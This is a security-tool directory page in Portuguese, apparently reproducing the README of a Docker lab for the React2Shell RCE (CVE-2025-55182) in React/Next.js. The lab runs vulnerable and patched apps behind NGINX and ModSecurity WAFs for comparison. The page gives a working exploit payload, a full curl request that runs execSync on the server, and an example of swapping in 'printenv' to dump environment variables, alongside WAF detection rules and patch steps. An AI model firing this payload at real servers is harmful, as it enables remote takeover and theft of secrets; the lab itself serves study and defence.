Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-55182-test-lab-windows — Laboratório de testes baseado em Docker para a vulnerabilidade RCE CVE-2025-55182 (React2Shell) no React 19.1.0/Next.js 15.1.0. Inclui scripts de exploração, testes de bypass de WAF com NGINX/ModSecurity e comparação de versão corrigida para educação em segurança. | Kitploit
Ferramentas/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Laboratório de testes baseado em Docker para a vulnerabilidade RCE CVE-2025-55182 (React2Shell) no React 19.1.0/Next.js 15.1.0. Inclui scripts de exploração, testes de bypass de WAF com NGINX/ModSecurity e comparação de versão corrigida para educação em segurança.

Ver Repositório
3há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Teste CVE-2025-55182 (React2Shell)

⚠️ Aviso: Contém uma vulnerabilidade de execução remota de código (RCE) realmente funcional.

📋 Índice

  • Visão Geral
  • Informações da Vulnerabilidade
  • Início Rápido
  • Demonstração do Ataque Real
  • Ambiente de Teste
  • Regras de Defesa WAF
  • Estrutura de Arquivos
  • Referências
  • Aviso Legal

Visão Geral

Ambiente de teste em contêiner para a vulnerabilidade CVE-2025-55182 (React2Shell).

Principais Características

  • ✅ Reprodução real da vulnerabilidade – Ambiente React 19.1.0 / Next.js 15.1.0
  • ✅ Ataque RCE bem-sucedido – Execução real de comandos verificada
  • ✅ Teste de defesa WAF – Configuração de regras NGINX e Apache ModSecurity
  • ✅ Comparação de versões corrigidas – Teste versão vulnerável vs. corrigida
  • ✅ Ambiente Docker completo – Ambiente isolado em contêiner
  • Resultado do Ataque

    root@kitploit:~
    🔴 CRITICAL VULNERABILITY CONFIRMED!
       Successfully executed 6/7 commands
    
    Executed Commands:
      ✅ whoami: root
      ✅ hostname: c89f1bd355b2
      ✅ pwd: /app
      ✅ id: uid=0(root) gid=0(root) groups=0(root)...
      ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
      ✅ node-ver: v20.19.6
    

    Informações da Vulnerabilidade

    CVE-2025-55182 (React2Shell)

    Pontuação CVSS: 10.0 (CRITICAL)
    Impacto: Execução Remota de Código (RCE)
    Requer Autenticação: Não
    Vetor de Ataque: Rede

    Versões Vulneráveis

    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

    Versões Corrigidas

    • React: 19.1.2+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Princípio do Ataque

    1. Prototype Pollution – Poluição de protótipo via $1:__proto__:then
    2. Acesso ao Construtor de Funções – Acesso via desserialização Blob (prefixo $B)
    3. Execução de Código Arbitrário – Criação de função com código controlado pelo atacante
    4. Execução de Comandos do Sistema – RCE via child_process
    root@kitploit:~
    // Estrutura do payload de ataque
    {
      "then": "$1:__proto__:then",           // Poluição de Object.prototype.then
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',            // Gatilho de desserialização Blob
      "_response": {
        "_prefix": "código_malicioso",               // Código a ser executado
        "_formData": {
          "get": "$1:constructor:constructor"  // Acesso ao construtor de funções
        }
      }
    }
    

    Início Rápido

    Pré-requisitos

    • Docker Desktop
    • Node.js 20+ (para testes locais, opcional)
    • Mínimo de 4 GB de RAM
    • Pelo menos 2 GB de espaço livre em disco

    Passo 1: Iniciar o Ambiente

    Windows (PowerShell):

    root@kitploit:~
    PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
    

    Passo 2: Verificar Status

    root@kitploit:~
    .\run-tests.ps1 status
    

    Aguarde até que todos os contêineres estejam no estado healthy (cerca de 1-2 minutos).

    Passo 3: Executar o Ataque

    Windows (PowerShell):

    root@kitploit:~
    # Método 1: Usar script PowerShell (recomendado)
    .\tests\exploit-working.ps1
    
    # Método 2: Executar Node.js diretamente
    node tests\exploit-working.js
    
    ### Passo 4: Verificar Resultados
    
    Você pode verificar os resultados da execução dos comandos nos logs do servidor:
    
    ```bash
    docker compose logs vulnerable-app --tail=20
    

    Demonstração do Ataque

    Script de Ataque Automatizado

    exploit-working.js ⭐ Recomendado

    Windows:

    root@kitploit:~
    # Script PowerShell (recomendado)
    .\tests\exploit-working.ps1
    
    # Ou execute Node.js diretamente
    node tests\exploit-working.js
    

    O que faz:

    • ✅ Executa comandos shell arbitrários
    • ✅ Captura a saída dos comandos nos logs do servidor
    • ✅ Testa automaticamente múltiplos comandos
    • ✅ Fornece relatório detalhado da vulnerabilidade

    Comandos testados:

    • whoami – Usuário atual (root)
    • hostname – Nome do host do contêiner
    • pwd – Diretório de trabalho (/app)
    • id – Informações completas do usuário
    • uname -a – Informações do sistema
    • node --version – Versão do Node.js

    Ataque Manual

    Ataque Direto com curl

    root@kitploit:~
    # Criar arquivo de payload
    cat > payload.txt << 'EOF'
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundary123--
    EOF
    
    # Enviar ataque
    curl -X POST http://localhost:3000/ \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
      -H "Next-Action: exploit" \
      --data-binary @payload.txt
    
    # Verificar execução nos logs
    docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
    

    Executar Comandos Personalizados

    Você pode modificar o script de ataque para executar comandos desejados:

    root@kitploit:~
    // No arquivo exploit-working.js:
    const tests = [
      { name: 'custom', cmd: 'ls -la /app', desc: 'Listar diretório da aplicação' },
      { name: 'env', cmd: 'printenv', desc: 'Exibir variáveis de ambiente' }
    ]
    

    Ambiente de Teste

    Contêineres Docker

    PortaServiçoVersão ReactFinalidadeStatus WAF
    3000vulnerable-app19.1.0Vulnerável – Teste CVE-2025-55182❌ Sem proteção
    3001patched-app19.1.2Seguro – Verificação do patch✅ Corrigido
    8080nginx → vulnerable19.1.0Teste WAF (NGINX)⚠️ Limitado (sem inspeção de body)
    8081apache → vulnerable19.1.0Teste WAF (ModSecurity)⚠️ Limitado (resposta 405)
    8082nginx → patched19.1.2Teste de proteção dupla✅ Corrigido

    Ambiente da Aplicação

    • Framework: Next.js 15.1.0 (App Router)
    • Versão React: 19.1.0 (vulnerável)
    • Node.js: 20.19.6

    Cenários de Teste

    Cenário 1: Ataque à Versão Vulnerável

    root@kitploit:~
    # Executar ataque funcional
    node tests/exploit-working.js
    
    # Resultado esperado: Comando executado com sucesso
    # Saída: Informações do usuário, detalhes do sistema, etc.
    

    Cenário 2: Teste na Versão Corrigida

    Windows (PowerShell):

    root@kitploit:~
    # Usar script PowerShell
    .\tests\exploit-working.ps1 -Port 3001
    

    Resultado esperado: Ataque falha (React 19.1.2 bloqueia o ataque)

    Cenário 3: Teste de Bloqueio WAF

    Windows (PowerShell):

    root@kitploit:~
    # Tentar ataque através do NGINX WAF
    .\tests\exploit-working.ps1 -Port 8080
    

    Resultado esperado: Bloqueado pelas regras do WAF


    Regras de Defesa WAF

    Regras de Defesa NGINX

    Localização: nginx/nginx.conf

    Padrões de detecção:

    1. Prototype Pollution – __proto__, constructor:constructor
    2. Abuso do Flight Protocol – $X:__proto__, referências $B
    3. Cadeia de Gadgets – child_process, execSync, require()
    4. Bypass com URL Encoding – %5f%5fproto%5f%5f
    5. Cabeçalhos Suspeitos – Next-Action: #constructor

    Ação de bloqueio:

    root@kitploit:~
    HTTP 403 Forbidden
    {
      "error": "Request blocked by WAF",
      "protection": "CVE-2025-55182",
      "waf": "NGINX"
    }
    

    Regras Apache ModSecurity

    Localização: apache/modsecurity-rules.conf

    Intervalo de IDs de regras: 100001-100017

    Regras principais:

    • 100001: Detecção de __proto__
    • 100002: Acesso à cadeia de construtor
    • 100003-100004: Abuso do Flight protocol
    • 100006-100007: Padrões de cadeia de gadgets
    • 100008-100011: Tentativas de RCE (child_process, exec, spawn, require)
    • 100015: Cabeçalho Next-Action suspeito
    • 100017: Bloqueio baseado em pontuação anômala

    Teste do WAF

    root@kitploit:~
    # Teste de bloqueio NGINX
    curl -X POST http://localhost:8080/ \
      -H "Content-Type: application/json" \
      -d '{"__proto__": {"polluted": true}}'
    
    # Resposta esperada: HTTP 403
    
    # Teste de bloqueio ModSecurity
    curl -X POST http://localhost:8081/ \
      -H "Next-Action: test#constructor" \
      -d '{"data": "test"}'
    
    # Resposta esperada: HTTP 403
    

    Verificar Logs do WAF

    root@kitploit:~
    # Logs de segurança NGINX
    docker compose exec nginx tail -f /var/log/nginx/security.log
    
    # Logs de auditoria Apache ModSecurity
    docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
    

    ⚠️ Limitações do WAF

    Importante: A configuração atual do WAF possui as seguintes limitações:

    NGINX (Porta 8080)

    • ❌ Não inspeciona o corpo da requisição
    • A configuração padrão do NGINX inspeciona apenas URL, parâmetros de consulta e cabeçalhos
    • O payload do exploit está contido no corpo multipart/form-data, não sendo detectado
    • Solução: Necessário módulo lua-nginx-module ou solução WAF separada

    Apache ModSecurity (Porta 8081)

    • ⚠️ Next.js rejeita requisições POST (405 Method Not Allowed)
    • O ModSecurity está ativo e pode inspecionar o corpo
    • Porém, é necessário o cabeçalho Next-Action e este sozinho não fornece proteção suficiente
    • Estado atual: Resposta 405 antes do WAF inspecionar o corpo

    Defesa contra ataques reais:

    • ✅ Método mais eficaz: Atualizar React/Next.js para versões corrigidas (portas 3001, 8082)
    • ⚠️ WAF fornece apenas proteção parcial: Limitado para ataques que exigem inspeção do corpo

    Estrutura de Arquivos

    root@kitploit:~
    cve-2025-55182-test-lab-windows/
    ├── README.md                           # README
    ├── docker-compose.yml                  # Configuração do ambiente Docker
    ├── run-tests.ps1                       # Script de execução para Windows
    ├── run-tests.sh                        # Script de execução para Linux/Mac
    │
    ├── vulnerable-app/                     # Aplicação versão vulnerável
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.0, Next.js 15.1.0
    │   ├── next.config.js
    │   ├── app/
    │   │   ├── layout.js                   # Layout padrão
    │   │   ├── page.js                     # Página principal
    │   │   └── api/
    │   │       └── health/                 # Endpoint de health check
    │   │           └── route.js
    │   └── tests/                          
    │
    ├── patched-app/                        # Aplicação versão corrigida
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.2, Next.js 15.1.9
    │   ├── next.config.js
    │   └── app/
    │       ├── layout.js
    │       ├── page.js
    │       └── api/
    │           └── health/
    │               └── route.js
    │
    ├── tests/                              # Scripts de ataque
    │   ├── exploit-working.js              # Ataque RCE (Node.js)
    │   ├── exploit-working.ps1             # Ataque RCE (PowerShell)
    │   └── exploit-working.cmd             # Ataque RCE (arquivo batch)
    │
    ├── nginx/                              # Configuração NGINX WAF
    │   ├── nginx.conf                      # Regras de bloqueio CVE-2025-55182
    │   └── nginx-patched.conf              # Configuração de proxy
    │
    └── apache/                             # Configuração Apache ModSecurity
        ├── Dockerfile
        ├── apache-config.conf
        └── modsecurity-rules.conf          # Regras de bloqueio ModSecurity
    

    Métodos de Verificação do Ataque

    Método 1: Verificar Saída do Script

    O script de ataque exibe os resultados diretamente:

    root@kitploit:~
    [whoami] Sending exploit...
      ✅ SUCCESS! Output: root
    

    Método 2: Monitorar Logs do Servidor

    root@kitploit:~
    # Monitoramento de logs em tempo real
    docker compose logs -f vulnerable-app
    
    # Itens a verificar:
    # [EXPLOIT] Executing: whoami
    # [RESULT] root
    

    Método 3: Verificar Indicadores de Ataque

    root@kitploit:~
    # Verificar se o ataque foi executado
    docker compose exec vulnerable-app ps aux | grep node
    
    # Verificar alterações no sistema de arquivos (se algum arquivo foi criado)
    docker compose exec vulnerable-app ls -la /tmp
    

    Medidas de Mitigação

    Patch via npm

    1. Atualizar React – Instalar versão 19.1.2 ou superior:

      root@kitploit:~
      npm install react@^19.1.2 react-dom@^19.1.2
      
    2. Atualizar Next.js – Instalar versão 15.1.9 ou superior:

      root@kitploit:~
      npm install next@^15.1.9
      
    3. Reconstruir e Reimplantar:

      root@kitploit:~
      npm run build
      # Implantar no ambiente de produção
      

    Verificação Após o Patch

    Windows (PowerShell):

    root@kitploit:~
    # Testar com a versão corrigida
    .\tests\exploit-working.ps1 -Port 3001
    
    # Ou
    $env:TARGET_PORT=3001; node tests\exploit-working.js
    

    Linux/Mac:

    root@kitploit:~
    # Testar com a versão corrigida
    TARGET_PORT=3001 node tests/exploit-working.js
    

    Exemplo de resultado: ℹ️ Exploitation failed

    Medidas de Segurança Caso o Patch Não Seja Possível

    1. Implantar regras WAF – Usar as regras NGINX/ModSecurity deste projeto
    2. Segmentação de rede – Restringir acesso externo
    3. Rate Limiting – Aplicar limites ao endpoint Server Action
    4. Monitoramento de logs – Vigiar tentativas de ataque nos logs

    Comandos Docker

    Gerenciamento do Ambiente

    root@kitploit:~
    # Iniciar
    .\run-tests.ps1 start
    
    # Verificar status
    .\run-tests.ps1 status
    
    # Ver logs
    .\run-tests.ps1 logs
    
    # Parar
    .\run-tests.ps1 stop
    
    # Limpar (remove todos os contêineres e volumes)
    .\run-tests.ps1 clean
    

    Solução de Problemas

    Se o Ataque Não Funcionar

    Windows (PowerShell):

    root@kitploit:~
    # 1. Verificar versões
    docker compose exec vulnerable-app npm list react next
    
    # Deve exibir:
    # [email protected]
    # [email protected]
    
    # 2. Verificar se o servidor responde
    curl http://localhost:3000
    
    # 3. Verificar logs do Docker
    docker compose logs vulnerable-app --tail=50
    
    # 4. Reiniciar o contêiner
    docker compose restart vulnerable-app
    

    Se Não For Possível Ver a Saída

    Windows (PowerShell):

    root@kitploit:~
    # Filtrar logs no PowerShell
    docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
    

    Docker Desktop Não Inicia (Apenas Windows)

    Sintoma do erro:

    root@kitploit:~
    error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
    

    Solução:

    1. Iniciar Docker Desktop
    2. Verificar se o ícone na bandeja está verde
    3. Confirmar com o comando docker ps

    Script PowerShell Não Pode Ser Executado (Apenas Windows)

    Sintoma do erro:

    root@kitploit:~
    Não é possível executar scripts neste sistema...
    

    Solução:

    root@kitploit:~
    # Aplicar apenas à sessão atual
    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
    
    # Ou executar diretamente
    PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
    

    Erros de Permissão

    Verifique se o Docker está em execução e se você tem permissões:

    Todas as plataformas:

    root@kitploit:~
    docker compose ps
    

    Conflito de Portas

    Se outra aplicação estiver usando a porta:

    Windows (PowerShell):

    root@kitploit:~
    # Verificar processo que usa a porta
    netstat -ano | findstr :3000
    
    # Encerrar processo (após identificar o PID)
    taskkill /PID <PID> /F
    

    Todas as plataformas (modificar docker-compose.yml):

    root@kitploit:~
    # Alterar porta para evitar conflito
    services:
      vulnerable-app:
        ports:
          - "3010:3000"  # Alterar de 3000 para 3010
    

    Se o WAF Não Estiver Funcionando

    Todas as plataformas:

    root@kitploit:~
    # Testar configuração do NGINX
    docker compose exec nginx nginx -t
    
    # Testar configuração do Apache
    docker compose exec apache apachectl configtest
    
    # Verificar logs
    docker compose logs nginx --tail=30
    docker compose logs apache --tail=30
    

    Referências

    Avisos Oficiais de Segurança

    • Aviso de Segurança do React
    • Resumo CVE-2025-55182 da Vercel
    • Aviso CVE-2025-66478 do Next.js
    • NVD - CVE-2025-55182

    Análises Técnicas

    • Datadog Security Labs - CVE-2025-55182
    • Blog da Wiz - RCE Crítico no React
    • Análise Palo Alto Unit42
    • Blog da Kaspersky
    • Blog da OX Security

    Proof of Concepts

    • msanft/CVE-2025-55182
    • dwisiswant0/CVE-2025-55182
    • EynaExp/CVE-2025-55182-POC
    • Spritualkb/CVE-2025-55182-exp
    • ejpir/CVE-2025-55182-research

    Licença

    Este projeto é fornecido para fins educacionais e de pesquisa em segurança.

    Restrições de uso:

    • Usar apenas para testes de segurança autorizados
    • Não modificar para fins maliciosos

    Baixar ferramenta